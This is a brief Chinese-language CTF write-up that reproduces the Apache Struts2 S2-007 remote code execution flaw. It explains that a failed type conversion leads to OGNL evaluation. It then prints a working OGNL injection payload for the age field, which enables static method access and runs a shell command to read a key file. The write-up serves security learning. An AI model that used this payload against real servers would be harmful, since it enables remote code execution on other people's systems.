根据题意
形成原因:当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了OGNL语句的执行。
进入环境,查看源码,
限制了三个输入框的的值只能为text,而且长度在540以上,
然后在登录界面用户名和邮箱值随意,age部分改为我们的payload
’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘cat /key.txt’).getInputStream())) + ’
CTF-Apache Struts2远程代码执行漏洞(S2-007)复现
最新推荐文章于 2025-04-22 19:18:08 发布